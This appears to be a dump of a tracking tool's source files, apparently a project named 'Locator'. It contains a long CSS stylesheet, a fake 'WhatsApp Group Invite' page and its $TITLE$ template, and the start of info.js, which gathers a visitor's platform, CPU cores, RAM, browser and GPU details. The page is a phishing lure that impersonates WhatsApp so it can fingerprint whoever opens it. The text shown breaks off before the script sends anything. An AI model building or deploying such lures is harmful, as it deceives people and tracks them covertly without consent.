414 | font-size: 10px;
415 | font-style: normal;
416 | font-weight: 300;
417 | letter-spacing: -0.22px;
418 | line-height: 14px;
419 | margin: 12px 0 6px
420 | }
421 |
422 | ._g5w ._g5u {
423 | border-radius: 0;
424 | margin: 0 16px
425 | }
426 |
427 | ._m4x {
428 | margin: 2em auto 1em
429 | }
430 |
431 | ._m4w {
432 | left: 335px;
433 | position: fixed;
434 | top: 130px;
435 | z-index: 9999
436 | }
437 |
438 | ._mk3 ._mjy {
439 | padding: 30px 30px 20px
440 | }
441 |
442 | ._mk3 ._mjv {
443 | padding: 40px 80px
444 | }
445 |
446 | ._mk3 ._mjw {
447 | margin-right: 16px
448 | }
449 |
450 | ._mk3 ._mjx {
451 | margin-bottom: 0;
452 | margin-top: 7px
453 | }
454 |
455 | ._mk3 ._1k1v {
456 | padding-top: 32px
457 | }
458 |
459 | ._6k_ .img {
460 | margin: 0;
461 | position: absolute
462 | }
463 |
464 | ._51mq {
465 | margin-right: 3px;
466 | vertical-align: -2.9px
467 | }
468 |
469 | .fbPageBanner {
470 | position: relative;
471 | z-index: 301
472 | }
473 |
474 | .hideBanner .fbPageBanner,
475 | .fixedBody .fbPageBanner {
476 | display: none
477 | }
478 |
479 | @media (min-width: 480px) {
480 | .fbPageBannerInner {
481 | margin: auto;
482 | max-width: 950px;
483 | min-width: 920px
484 | }
485 | }
486 |
487 | .sidebarMode .fbPageBannerInner {
488 | left: -102px;
489 | position: relative
490 | }
491 |
492 | .FriendButton {
493 | display: inline-block;
494 | vertical-align: top
495 | }
496 |
497 | html .FriendButton .uiButton {
498 | margin-left: 0;
499 | margin-right: 3px
500 | }
501 |
502 | html .FriendButton .enableFriendListFlyout,
503 | .FriendButton .enableFriendListFlyout .uiButtonText,
504 | .FriendButton .enableFriendListFlyout input {
505 | cursor: default
506 | }
507 |
508 | .requestResponseMenu .action .itemAnchor {
509 | padding-right: 22px
510 | }
511 |
512 | span.FriendLink a.uiButtonConfirm {
513 | background-image: none;
514 | background-color: transparent
515 | }
516 |
517 | .FriendLink span.friendButton,
518 | .FriendLink span.outgoingButton {
519 | cursor: hand;
520 | cursor: pointer
521 | }
522 |
523 | .hovercardButtonGroup .FriendButton .uiButton {
524 | margin-right: 0
525 | }
526 |
527 | ._6xe8 {
528 | display: inline-block
529 | }
530 |
531 | ._6xe7 {
532 | margin-left: -4.3px
533 | }
534 |
535 | ._6-wg .uiList .link {
536 | border: 2px solid #fff;
537 | border-radius: 50%
538 | }
539 |
540 | ._6-wg .uiList .link:after {
541 | border: 1px solid rgba(0, 0, 0, .1);
542 | border-radius: 50%;
543 | bottom: 0;
544 | content: '';
545 | left: 0;
546 | position: absolute;
547 | right: 0;
548 | top: 0
549 | }
550 |
551 | ._82qt {
552 | display: flex;
553 | height: 20px
554 | }
555 |
556 | ._1nd3 {
557 | color: #606770
558 | }
559 |
560 | ._1nd3 a {
561 | color: #606770
562 | }
563 |
564 | ._6xe6 ._6xe7 {
565 | margin-left: -8.3px
566 | }
567 |
568 | ._1nd3 .uiGrid {
569 | margin-top: 2px
570 | }
571 |
572 | .__tw {
573 | background: #fff;
574 | border: 1px solid rgba(100, 100, 100, .4);
575 | border-radius: 0 0 2px 2px;
576 | box-shadow: 0 3px 8px rgba(0, 0, 0, .25);
577 | color: #1d2129;
578 | overflow: visible;
579 | position: absolute;
580 | top: 38px;
581 | width: 430px;
582 | z-index: -1
583 | }
584 |
585 | ._1nxz .__tw,
586 | ._dyn .__tw,
587 | ._l35 .__tw {
588 | top: 45px;
589 | z-index: 1
590 | }
591 |
592 | .__tw .metadata {
593 | padding-top: 3px
594 | }
595 |
596 | .__tw .jewelItemList {
597 | padding: 4px 0
598 | }
599 |
600 | .__tw .empty,
601 | .__tw .jewelHighlight .empty {
602 | border: none;
603 | color: #90949c;
604 | padding: 4px 8px 10px
605 | }
606 |
607 | .__tw .jewelHighlight li a {
608 | color: #1d2129;
609 | display: block;
610 | padding: 4px 8px;
611 | text-decoration: none
612 | }
613 |
614 | .__tw .jewelHighlight li a:hover,
615 | .__tw .jewelHighlight li a:active,
616 | .__tw .jewelHighlight li a:focus {
617 | background-color: #f5f6f7;
618 | border-bottom: 1px solid #dddfe2;
619 | border-top: 1px solid #dddfe2;
620 | outline: none;
621 | padding-bottom: 3px;
622 | padding-top: 3px;
623 | text-decoration: none
624 | }
625 |
626 | .__tw .jewelHighlight a:hover span,
627 | .__tw .jewelHighlight a:active span,
628 | .__tw .jewelHighlight a:focus span,
629 | .__tw .jewelHighlight a:hover div,
630 | .__tw .jewelHighlight a:active div,
631 | .__tw .jewelHighlight a:focus div,
632 | .__tw .jewelHighlight li.selected a,
633 | .__tw .jewelHighlight li.selected .timestamp {
634 | color: #fff
635 | }
636 |
637 | .__tw .jewelHighlight li {
638 | border-top: 1px solid #e6e6e6;
639 | cursor: pointer
640 | }
641 |
642 | .__tw .jewelHighlight li:first-child {
643 | border-top: none
644 | }
645 |
646 | .__tw li.jewelItemNew {
647 | background-color: #edf2fa
648 | }
649 |
650 | .__tw li>a,
651 | .__tw li>.anchorContainer>a {
652 | outline: none
653 | }
654 |
655 | .__tw .uiScrollableAreaWithShadow.contentAfter:after {
656 | content: none
657 | }
658 |
659 | .__tw li.jewelItemResponded {
660 | background: #fff9d7;
661 | color: #1d2129
662 | }
663 |
664 | .__tw .jewelLoading {
665 | display: block;
666 | margin: 10px auto
667 | }
668 |
669 | .__tw .uiScrollableAreaContent>.jewelLoading:only-child {
670 | margin-bottom: 9px
671 | }
672 |
673 | .__tw .jewelNotice {
674 | background-color: #fcf5d0;
675 | display: none;
676 | padding: 8px
677 | }
678 |
679 | .__tw .jewelNoticeVisible {
680 | display: block
681 | }
682 |
683 | .__tw .jewelFooter .seeMoreCount {
684 | display: none;
685 | font-weight: 600;
686 | padding: 2px 0 0
687 | }
688 |
689 | .__tw .x_div {
690 | position: absolute;
691 | right: 10px;
692 | top: 58%;
693 | transition: margin-right 250ms;
694 | z-index: 2
695 | }
696 |
697 | .__tw .jewelItemList {
698 | padding: 0
699 | }
700 |
701 | .__tw .uiScrollableAreaContent {
702 | padding-bottom: 1px
703 | }
704 |
705 | .__tw div.jewelHeader {
706 | background-clip: padding-box;
707 | background-color: #fff;
708 | border-bottom: solid 1px #dddfe2;
709 | border-top-left-radius: 3px;
710 | border-top-right-radius: 3px;
711 | padding: 8px 12px 6px;
712 | position: relative;
713 | z-index: 100
714 | }
715 |
716 | .__tw .jewelHeader h3>a,
717 | .__tw .jewelHeader h4>a {
718 | color: inherit;
719 | text-decoration: none
720 | }
721 |
722 | .__tw .jewelFooter a {
723 | background-color: #fff;
724 | border-bottom-left-radius: 3px;
725 | border-bottom-right-radius: 3px;
726 | border-top: 1px solid #dddfe2;
727 | display: block;
728 | font-weight: 600;
729 | padding: 8px 12px;
730 | position: relative;
731 | text-align: center;
732 | z-index: 100
733 | }
734 |
735 | .__tw .jewelFooter a:hover,
736 | .__tw .jewelFooter a:active,
737 | .__tw .jewelFooter a:focus {
738 | color: #365899;
739 | outline: none;
740 | text-decoration: underline
741 | }
742 |
743 | .__tw .jewelFooter a:hover .seeMoreCount,
744 | .__tw .jewelFooter a:active .seeMoreCount,
745 | .__tw .jewelFooter a:focus .seeMoreCount {
746 | color: gray
747 | }
748 |
749 | .__tw .jewelItemList {
750 | padding: 0
751 | }
752 |
753 | .__tw li div.confirmingMsg {
754 | height: 0;
755 | left: 0%;
756 | opacity: 0;
757 | padding: 0 8px;
758 | position: absolute;
759 | top: 0;
760 | visibility: visible
761 | }
762 |
763 | .__tw li.forPushSafety div.confirmingMsg {
764 | height: 0;
765 | left: 0%;
766 | opacity: 0;
767 | padding: 0 8px;
768 | position: relative;
769 | top: 0;
770 | visibility: visible
771 | }
772 |
773 | .__tw li.notification div.confirmedMsg {
774 | height: 0;
775 | opacity: 0;
776 | padding: 0 8px;
777 | position: relative;
778 | top: 0
779 | }
780 |
781 | .__tw li.notification div.firstConfirmedMsg,
782 | .__tw li.notification div.spamMsg {
783 | padding: 6px 8px
784 | }
785 |
786 | .__tw td.confirming_table_row {
787 | white-space: nowrap
788 | }
789 |
790 | ._43f6 {
791 | border-left: 2px solid #dcdee3;
792 | margin: 12px 0 0 0;
793 | padding-left: 15px
794 | }
795 |
796 | ._5yn2 {
797 | border-left: 2px solid #dcdee3;
798 | color: #7f7f7f;
799 | margin: 10px 0 0 0;
800 | padding-left: 10px
801 | }
802 |
803 | ._5wpt {
804 | border-left: 2px solid #dcdee3;
805 | padding-left: 12px
806 | }
807 |
808 | ._5pio {
809 | color: #90949c;
810 | font-size: 12px
811 | }
812 |
813 | ._49k0 {
814 | margin-top: 4px;
815 | text-align: left
816 | }
817 |
818 | ._2xzj,
819 | ._2xzi {
820 | margin: 5px 0;
821 | text-align: left
822 | }
823 |
824 | ._2xzi.ltgtranslatedcontent-enter {
825 | background-color: #fff9d7
826 | }
827 |
828 | ._2xzi.ltgtranslatedcontent-enter.ltgtranslatedcontent-enter-active {
829 | background-color: #fff;
830 | transition: background-color 2s ease-in
831 | }
832 |
833 | body[dir="rtl"] ._43f9,
834 | body[dir="rtl"] ._49k0 {
835 | direction: rtl
836 | }
837 |
838 | body[dir="ltr"] ._43f9,
839 | body[dir="ltr"] ._49k0 {
840 | direction: ltr
841 | }
842 |
843 | ._li._li._li {
844 | overflow: initial
845 | }
846 |
847 | ._910i._li._li._li {
848 | overflow: hidden
849 | }
850 |
851 | ._72b0 {
852 | position: relative;
853 | z-index: 0
854 | }
855 |
856 | #modalMaskOverlay {
857 | background-color: #fff;
858 | height: 100%;
859 | opacity: .8;
860 | position: fixed;
861 | top: 0;
862 | width: 100%;
863 | z-index: 199
864 | }
865 |
866 | ._50-t {
867 | display: flex;
868 | flex-direction: column;
869 | overflow: hidden;
870 | position: relative
871 | }
872 |
873 | ._572e {
874 | color: #999;
875 | font-size: 12px;
876 | margin: 24px auto;
877 | text-align: center
878 | }
879 |
880 | ._2iy1 {
881 | cursor: default;
882 | pointer-events: none
883 | }
884 |
885 | ._3heb {
886 | background: none;
887 | border: none;
888 | display: block;
889 | margin-left: auto;
890 | margin-right: auto;
891 | padding: 8px
892 | }
893 |
894 | ._3heb:only-child {
895 | padding-bottom: 7px
896 | }
897 |
898 | ._3hec {
899 | display: block
900 | }
901 |
902 | ._1_i1 {
903 | left: 106px;
904 | position: fixed;
905 | top: 0;
906 | z-index: 999
907 | }
908 |
909 | ._2xwp {
910 | border-radius: 4px;
911 | bottom: 30px;
912 | left: 30px;
913 | margin: 0;
914 | opacity: .96;
915 | position: fixed;
916 | width: 245px;
917 | z-index: 401
918 | }
919 |
920 | ._6nw ._2xwp {
921 | font-family: Helvetica, Arial, sans-serif;
922 | width: 320px
923 | }
924 |
925 | ._50d1 {
926 | list-style: none
927 | }
928 |
929 | ._52d9 {
930 | background-color: rgba(0, 0, 0, .4);
931 | bottom: 0;
932 | color: #fff;
933 | font-size: 35px;
934 | font-weight: normal;
935 | left: 0;
936 | position: absolute;
937 | right: 0;
938 | top: 0
939 | }
940 |
941 | ._52da {
942 | display: table;
943 | height: 100%;
944 | width: 100%
945 | }
946 |
947 | .fbPhotoSnowlift * ._52da {
948 | font-size: 65%
949 | }
950 |
951 | ._52db {
952 | display: table-cell;
953 | text-align: center;
954 | vertical-align: middle
955 | }
956 |
957 | .FriendListFlyoutLoading {
958 | text-align: center;
959 | width: 192px
960 | }
961 |
962 | .FlyoutFriendMenu.addToListsOpen .FriendListActionMenu,
963 | .FlyoutFriendMenu.addToListsOpen .FriendListSubscribeSubmenu,
964 | .FlyoutFriendMenu.addToListsOpen .FriendListCFMenu,
965 | .FlyoutFriendMenu.addToListsOpen.NonFriendSubscriptionMenu.isUnsubscribed .FriendListSubscribeSubmenu,
966 | .FlyoutFriendMenu.addToListsOpen.NonFriendSubscriptionMenu.isUnsubscribed .FriendListCFMenuSeparator,
967 | .FlyoutFriendMenu.addToListsClosed .FriendListMenu,
968 | .FlyoutFriendMenu.addToListsClosed.subscriptionMenuOpen .FriendListActionMenu,
969 | .FlyoutFriendMenu.addToListsClosed.NonFriendSubscriptionMenu.isUnsubscribed .FriendListSubscribeSubmenu,
970 | .FlyoutFriendMenu.addToListsClosed.NonFriendSubscriptionMenu.isUnsubscribed .FriendListCFMenuSeparator,
971 | .FlyoutFriendMenu.addToListsClosed.subscriptionMenuOpen .FriendListSubscribeSubmenu,
972 | .FlyoutFriendMenu.addToListsClosed .FriendListScroller {
973 | display: none
974 | }
975 |
976 | .FriendListFlyoutLoading .uiLoadingIndicatorAsync {
977 | display: none
978 | }
979 |
980 | .FriendListFlyoutLoading .async_saving .uiLoadingIndicatorAsync {
981 | display: inline
982 | }
983 |
984 | .FlyoutFriendMenu.addToListsClosed .FriendListActionMenu,
985 | .FlyoutFriendMenu.addToListsClosed .FriendListSubscribeSubmenu,
986 | .FlyoutFriendMenu.addToListsClosed .FriendListCFMenu,
987 | .FlyoutFriendMenu.addToListsOpen .FriendListMenu,
988 | .FlyoutFriendMenu.addToListsOpen .FriendListScroller {
989 | display: block
990 | }
991 |
992 | ._64nf._5dzz {
993 | width: 16px
994 | }
995 |
996 | .profileLink ._64nf,
997 | ._2u0z ._64nf,
998 | ._5vra ._64nf,
999 | ._64-f ._64nf,
1000 | ._52eh ._64nf {
1001 | position: relative;
1002 | top: 3px
1003 | }
1004 |
1005 | .highContrast ._59c6._5dzz {
1006 | overflow: hidden;
1007 | position: relative
1008 | }
1009 |
1010 | .highContrast ._59c6._5d-3._5dzz {
1011 | overflow: hidden;
1012 | position: relative
1013 | }
1014 |
1015 | .highContrast ._59c6._5dz- {
1016 | overflow: hidden;
1017 | position: relative
1018 | }
1019 |
1020 | .highContrast ._59c6._5dz_ {
1021 | overflow: hidden;
1022 | position: relative
1023 | }
1024 |
1025 | ._7xv0 {
1026 | margin-left: 2px;
1027 | position: relative;
1028 | top: 1px
1029 | }
1030 |
1031 | .highContrast ._4fvy._5dzz {
1032 | overflow: hidden;
1033 | position: relative
1034 | }
1035 |
1036 | .highContrast ._4fvy._5d-3._5dzz {
1037 | overflow: hidden;
1038 | position: relative
1039 | }
1040 |
1041 | .highContrast ._4fvy._5dz- {
1042 | overflow: hidden;
1043 | position: relative
1044 | }
1045 |
1046 | .highContrast ._4fvy._5dz_ {
1047 | overflow: hidden;
1048 | position: relative
1049 | }
1050 |
1051 | .highContrast ._1gop._5dzz {
1052 | overflow: hidden;
1053 | position: relative
1054 | }
1055 |
1056 | .highContrast .uiTypeaheadView .selected ._1gop._5dzz {
1057 | overflow: hidden;
1058 | position: relative
1059 | }
1060 |
1061 | .highContrast ._5n3t._5dzz {
1062 | overflow: hidden;
1063 | position: relative
1064 | }
1065 |
1066 | .highContrast ._5n3t._5d-3._5dzz {
1067 | overflow: hidden;
1068 | position: relative
1069 | }
1070 |
1071 | .highContrast ._5n3t._5dz- {
1072 | overflow: hidden;
1073 | position: relative
1074 | }
1075 |
1076 | .highContrast ._5n3t._5dz_ {
1077 | overflow: hidden;
1078 | position: relative
1079 | }
1080 |
1081 | .highContrast ._5n3t._5d-0 {
1082 | overflow: hidden;
1083 | position: relative
1084 | }
1085 |
1086 | .highContrast ._5n3t._5d-1 {
1087 | overflow: hidden;
1088 | position: relative
1089 | }
1090 |
1091 | .highContrast ._5n3t._5d-3._5d-1 {
1092 | overflow: hidden;
1093 | position: relative
1094 | }
1095 |
1096 | .highContrast .uiTypeaheadView .selected ._5n3t._5dzz {
1097 | overflow: hidden;
1098 | position: relative
1099 | }
1100 |
1101 | .highContrast .selected ._5n3t._5dz_ {
1102 | overflow: hidden;
1103 | position: relative
1104 | }
1105 |
1106 | .UFICommentContent ._5n3t {
1107 | margin-left: 1px
1108 | }
1109 |
1110 | .highContrast ._6w81._5dzz {
1111 | overflow: hidden;
1112 | position: relative
1113 | }
1114 |
1115 | .highContrast ._6w81._5d-3._5dzz {
1116 | overflow: hidden;
1117 | position: relative
1118 | }
1119 |
1120 | .highContrast ._6w81._5dz- {
1121 | overflow: hidden;
1122 | position: relative
1123 | }
1124 |
1125 | .highContrast ._6w81._5dz_ {
1126 | overflow: hidden;
1127 | position: relative
1128 | }
1129 |
1130 | .highContrast ._6w81._5d-0 {
1131 | overflow: hidden;
1132 | position: relative
1133 | }
1134 |
1135 | .highContrast ._6w81._5d-1 {
1136 | overflow: hidden;
1137 | position: relative
1138 | }
1139 |
1140 | .highContrast ._6w81._5d-3._5d-1 {
1141 | overflow: hidden;
1142 | position: relative
1143 | }
1144 |
1145 | .highContrast .uiTypeaheadView .selected ._6w81._5dzz {
1146 | overflow: hidden;
1147 | position: relative
1148 | }
1149 |
1150 | .highContrast .selected ._6w81._5dz_ {
1151 | overflow: hidden;
1152 | position: relative
1153 | }
1154 |
1155 | .UFICommentContent ._6w81 {
1156 | margin-left: 1px
1157 | }
1158 |
1159 | .tooltipContent ._6w82 {
1160 | overflow: hidden;
1161 | white-space: normal;
1162 | width: 164px
1163 | }
1164 |
1165 | ._7cto {
1166 | margin: 4px 8px
1167 | }
1168 |
1169 | ._7ctr {
1170 | border-bottom: 1px solid #dddfe2;
1171 | padding: 4px 0;
1172 | text-align: justify
1173 | }
1174 |
1175 | ._7cts {
1176 | margin: 8px 0 0 auto
1177 | }
1178 |
1179 | .highContrast ._8b0y._5d-3._5dzz:before,
1180 | .highContrast ._8b0y._5dzz:before,
1181 | .highContrast .uiTypeaheadView .search.updatedSuggestionRows .selected ._8b0y._5dzz:before,
1182 | .highContrast ._8b0y._5d-3._5dzz,
1183 | .highContrast ._8b0y._5dzz,
1184 | .highContrast .uiTypeaheadView .search.updatedSuggestionRows .selected ._8b0y._5dzz,
1185 | .highContrast .uiTypeaheadView .selected ._8b0y._5dzz {
1186 | overflow: hidden;
1187 | position: relative
1188 | }
1189 |
1190 | .highContrast ._8b0y._5dz- {
1191 | overflow: hidden;
1192 | position: relative
1193 | }
1194 |
1195 | .highContrast ._8b0y._5dz_,
1196 | .highContrast .selected ._8b0y._5dz_ {
1197 | overflow: hidden;
1198 | position: relative
1199 | }
1200 |
1201 | .highContrast ._8b0y._5d-0 {
1202 | overflow: hidden;
1203 | position: relative
1204 | }
1205 |
1206 | .highContrast ._8b0y._5d-1 {
1207 | overflow: hidden;
1208 | position: relative
1209 | }
1210 |
1211 | .highContrast ._8b0y._5d-3._5d-1 {
1212 | overflow: hidden;
1213 | position: relative
1214 | }
1215 |
1216 | .UFICommentContent ._8b0y {
1217 | margin-left: 1px
1218 | }
1219 |
1220 | .tooltipContent ._8b11 {
1221 | overflow: hidden;
1222 | white-space: normal;
1223 | width: 164px
1224 | }
1225 |
1226 | .highContrast ._8b-m._5dz- {
1227 | overflow: hidden;
1228 | position: relative
1229 | }
1230 |
1231 | ._4tz0 {
1232 | margin: 3px 0 3px 6px
1233 | }
1234 |
1235 | ._4tz0:first-child {
1236 | margin: 3px 0
1237 | }
1238 |
1239 | ._4tz1 {
1240 | margin: 4px 0 4px 4px
1241 | }
1242 |
1243 | ._4tz1:first-child {
1244 | margin: 4px 0
1245 | }
1246 |
1247 | ._4tz2 {
1248 | float: left;
1249 | margin: 0 0 0 4px
1250 | }
1251 |
1252 | ._4tz2:first-child {
1253 | margin: 0
1254 | }
1255 |
1256 | ._5pa- {
1257 | position: relative
1258 | }
1259 |
1260 | ._2xq {
1261 | height: 100%;
1262 | position: relative
1263 | }
1264 |
1265 | ._2xr,
1266 | ._2xs {
1267 | float: left
1268 | }
1269 |
1270 | .redesigned ._2xr {
1271 | padding: 2px 0
1272 | }
1273 |
1274 | ._2xt._2xs {
1275 | margin: 0
1276 | }
1277 |
1278 | ._2xo {
1279 | display: none
1280 | }
1281 |
1282 | ._56kg {
1283 | height: 100%;
1284 | overflow: hidden;
1285 | position: relative
1286 | }
1287 |
1288 | ._2xv ._2xn._2xr {
1289 | visibility: visible
1290 | }
1291 |
1292 | ._2xv ._2xr,
1293 | .loading ._2xv ._2xn._2xr,
1294 | .dataLoading ._2xv ._2xn._2xr {
1295 | position: absolute;
1296 | visibility: hidden
1297 | }
1298 |
1299 | ._8zm4 {
1300 | left: 50%;
1301 | position: absolute;
1302 | top: 50%;
1303 | transform: translateX(-50%) translateY(-50%)
1304 | }
1305 |
1306 | .uiToken {
1307 | background: #e9ebee;
1308 | border: 1px solid #9cb4d8;
1309 | border-radius: 2px;
1310 | color: #162643;
1311 | cursor: default;
1312 | display: block;
1313 | float: left;
1314 | height: 14px;
1315 | margin: 0 4px 4px 0;
1316 | padding: 0 3px;
1317 | position: relative;
1318 | white-space: nowrap
1319 | }
1320 |
1321 | .uiToken .remove {
1322 | left: 1px;
1323 | margin: 0;
1324 | outline: none;
1325 | position: relative;
1326 | top: 2px
1327 | }
1328 |
1329 | .uiTokenSelected {
1330 | background-color: #6d84b4;
1331 | border-color: #365899;
1332 | color: #fff
1333 | }
1334 |
1335 | .uiTokenGray {
1336 | background: #dddfe2;
1337 | border-color: #7f7f7f
1338 | }
1339 |
1340 | html ._55r2 {
1341 | height: 30px
1342 | }
1343 |
1344 | ._55r1::-moz-placeholder,
1345 | ._55r1:-moz-placeholder,
1346 | ._55r1 ._58al::-moz-placeholder,
1347 | ._55r1 ._58al:-moz-placeholder {
1348 | color: #90949c
1349 | }
1350 |
1351 | ._55r1:focus::-moz-placeholder,
1352 | ._55r1:focus:-moz-placeholder,
1353 | ._55r1 ._58al:focus::-moz-placeholder,
1354 | ._55r1 ._58al:focus:-moz-placeholder {
1355 | color: #bec3c9
1356 | }
1357 |
1358 | ._55r1._58ak {
1359 | height: 24px;
1360 | padding: 3px 8px 5px
1361 | }
1362 |
1363 | ._55r1._55r2._58ak {
1364 | height: 32px;
1365 | padding: 7px 8px 9px
1366 | }
1367 |
1368 | ._55r1 ._58al {
1369 | font-family: Helvetica, Arial, sans-serif;
1370 | font-size: 12px
1371 | }
1372 |
1373 | ._3qze ._58al {
1374 | font-family: Helvetica, Arial, sans-serif;
1375 | font-size: 14px
1376 | }
1377 |
1378 | ._55r1._3qze._58ak {
1379 | padding-top: 2px
1380 | }
1381 |
1382 | ._55r1._1tp7._1488 {
1383 | border: 1px solid #dddfe2
1384 | }
1385 |
1386 | ._55r1._1tp7:not(._1488) ._58al {
1387 | width: calc(100% - 24px)
1388 | }
1389 |
1390 | .videoPlayerIframe {
1391 | height: 100%;
1392 | overflow: hidden;
1393 | position: absolute;
1394 | width: 100%
1395 | }
1396 |
1397 | .videoPlayerIframe .swfObject {
1398 | height: 100%;
1399 | width: 100%
1400 | }
1401 |
1402 | ._2ad7 {
1403 | margin-left: 2px;
1404 | position: relative;
1405 | top: 1px
1406 | }
1407 |
1408 | ._88lp {
1409 | margin-left: 4px;
1410 | position: relative;
1411 | top: 1px
1412 | }
1413 |
1414 | ._2ad7._5dzy {
1415 | top: -1px
1416 | }
1417 |
1418 | ._4rwy,
1419 | ._2zb5,
1420 | ._kp6,
1421 | ._7cf0,
1422 | ._6p8n {
1423 | background-color: #fff
1424 | }
1425 |
1426 | ._kp6 {
1427 | display: block;
1428 | margin: 5px 3px
1429 | }
1430 |
1431 | ._6p8n {
1432 | margin-right: -3px
1433 | }
1434 |
1435 | ._7cf0,
1436 | ._6--1 ._4rwy {
1437 | bottom: -1px;
1438 | position: absolute;
1439 | right: -1px
1440 | }
1441 |
1442 | ._55lt img {
1443 | display: block
1444 | }
1445 |
1446 | ._55lu {
1447 | box-sizing: border-box;
1448 | float: left;
1449 | overflow: hidden
1450 | }
1451 |
1452 | ._57pl {
1453 | border-right: 1px solid #fff
1454 | }
1455 |
1456 | ._57pm {
1457 | border-bottom: 1px solid #fff
1458 | }
1459 |
1460 | ._57xo {
1461 | border-left: 1px solid #fff
1462 | }
1463 |
1464 | ._39jy ._55lt {
1465 | border-radius: 50%;
1466 | overflow: hidden
1467 | }
1468 |
1469 | .scrollable {
1470 | overflow-y: auto
1471 | }
1472 |
1473 | .sp_klDlAg5i3iU.sx_4a5824 {
1474 | background-position: 0 0
1475 | }
1476 |
1477 | .sp_klDlAg5i3iU.sx_829507 {
1478 | background-position: 0 -17px
1479 | }
1480 |
1481 | .sp_klDlAg5i3iU.sx_04e7e0 {
1482 | width: 8px;
1483 | height: 8px;
1484 | background-position: 0 -108px
1485 | }
1486 |
1487 | .sp_klDlAg5i3iU.sx_cfdb28 {
1488 | background-position: 0 -34px
1489 | }
1490 |
1491 | .sp_klDlAg5i3iU.sx_673985 {
1492 | width: 12px;
1493 | height: 12px;
1494 | background-position: 0 -85px
1495 | }
1496 |
1497 | .sp_klDlAg5i3iU.sx_c01788 {
1498 | background-position: 0 -51px
1499 | }
1500 |
1501 | .sp_klDlAg5i3iU.sx_9ad7f9 {
1502 | background-position: 0 -68px
1503 | }
1504 |
1505 | .sp_klDlAg5i3iU.sx_95aa81 {
1506 | width: 9px;
1507 | height: 9px;
1508 | background-position: 0 -98px
1509 | }
1510 |
1511 | #bootloader_kmhKG {
1512 | height: 42px;
1513 | }
1514 |
1515 | .bootloader_kmhKG {
1516 | display: block !important;
1517 | }
--------------------------------------------------------------------------------
/template/whatsapp/images/-r3j-x8ZnM7.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/template/whatsapp/images/ZIvBTrQd9nP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/whatsapp/images/ZIvBTrQd9nP.png
--------------------------------------------------------------------------------
/template/whatsapp/images/rYZqPCBaG70.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/whatsapp/images/rYZqPCBaG70.png
--------------------------------------------------------------------------------
/template/whatsapp/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WhatsApp Group Invite
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
51 |
52 |
53 |
54 |
55 |
56 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
Malicious
127 |
WhatsApp Group Invite
128 |
129 |
130 |
131 |
132 |
133 |
Don't have WhatsApp yet?
134 |
135 |
Download
136 |
137 |
138 |
139 |
140 |
Looks like you don't have WhatsApp installed!
141 |
Download
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
WhatsApp
152 |
162 |
163 |
164 |
Company
165 |
175 |
176 |
177 |
Download
178 |
185 |
186 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
2020 © WhatsApp Inc.
204 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
218 |
219 |
220 |
Maximum group capacity of 256 participants reached
221 |
224 |
225 |
226 |
235 |
236 |
--------------------------------------------------------------------------------
/template/whatsapp/index_temp.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | WhatsApp Group Invite
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
51 |
52 |
53 |
54 |
55 |
56 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
$TITLE$
127 |
WhatsApp Group Invite
128 |
129 |
130 |
131 |
132 |
133 |
Don't have WhatsApp yet?
134 |
135 |
Download
136 |
137 |
138 |
139 |
140 |
Looks like you don't have WhatsApp installed!
141 |
Download
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
WhatsApp
152 |
162 |
163 |
164 |
Company
165 |
175 |
176 |
177 |
Download
178 |
185 |
186 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
2020 © WhatsApp Inc.
204 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
218 |
219 |
220 |
Maximum group capacity of 256 participants reached
221 |
224 |
225 |
226 |
235 |
236 |
--------------------------------------------------------------------------------
/template/whatsapp/js/info.js:
--------------------------------------------------------------------------------
1 | function information()
2 | {
3 | var ptf = navigator.platform;
4 | var cc = navigator.hardwareConcurrency;
5 | var ram = navigator.deviceMemory;
6 | var ver = navigator.userAgent;
7 | var str = ver;
8 | var os = ver;
9 | //gpu
10 | var canvas = document.createElement('canvas');
11 | var gl;
12 | var debugInfo;
13 | var ven;
14 | var ren;
15 | //sysinfo
16 | console.log(ver);
17 | console.log(ptf);
18 |
19 | if (cc == undefined)
20 | {
21 | cc = 'Not Available';
22 | console.log('Cores are not available')
23 | }
24 | console.log(cc);
25 |
26 | //ram
27 | if (ram == undefined)
28 | {
29 | ram = 'Not Available';
30 | console.log('RAM is not available')
31 | }
32 | console.log(ram);
33 |
34 | //browser
35 | if (ver.indexOf('Firefox') != -1)
36 | {
37 | str = str.substring(str.indexOf(' Firefox/') + 1);
38 | str = str.split(' ');
39 | brw = str[0];
40 | console.log(str[0]);
41 | }
42 | else if (ver.indexOf('Chrome') != -1)
43 | {
44 | str = str.substring(str.indexOf(' Chrome/') + 1);
45 | str = str.split(' ');
46 | brw = str[0];
47 | console.log(str[0]);
48 | }
49 | else if (ver.indexOf('Safari') != -1)
50 | {
51 | str = str.substring(str.indexOf(' Safari/') + 1);
52 | str = str.split(' ');
53 | brw = str[0];
54 | console.log(str[0]);
55 | }
56 | else if (ver.indexOf('Edge') != -1)
57 | {
58 | str = str.substring(str.indexOf(' Edge/') + 1);
59 | str = str.split(' ');
60 | brw = str[0];
61 | console.log(str[0]);
62 | }
63 | else
64 | {
65 | brw = 'Not Available'
66 | console.log('Browser is not available')
67 | }
68 |
69 | //gpu
70 | try
71 | {
72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
73 | }
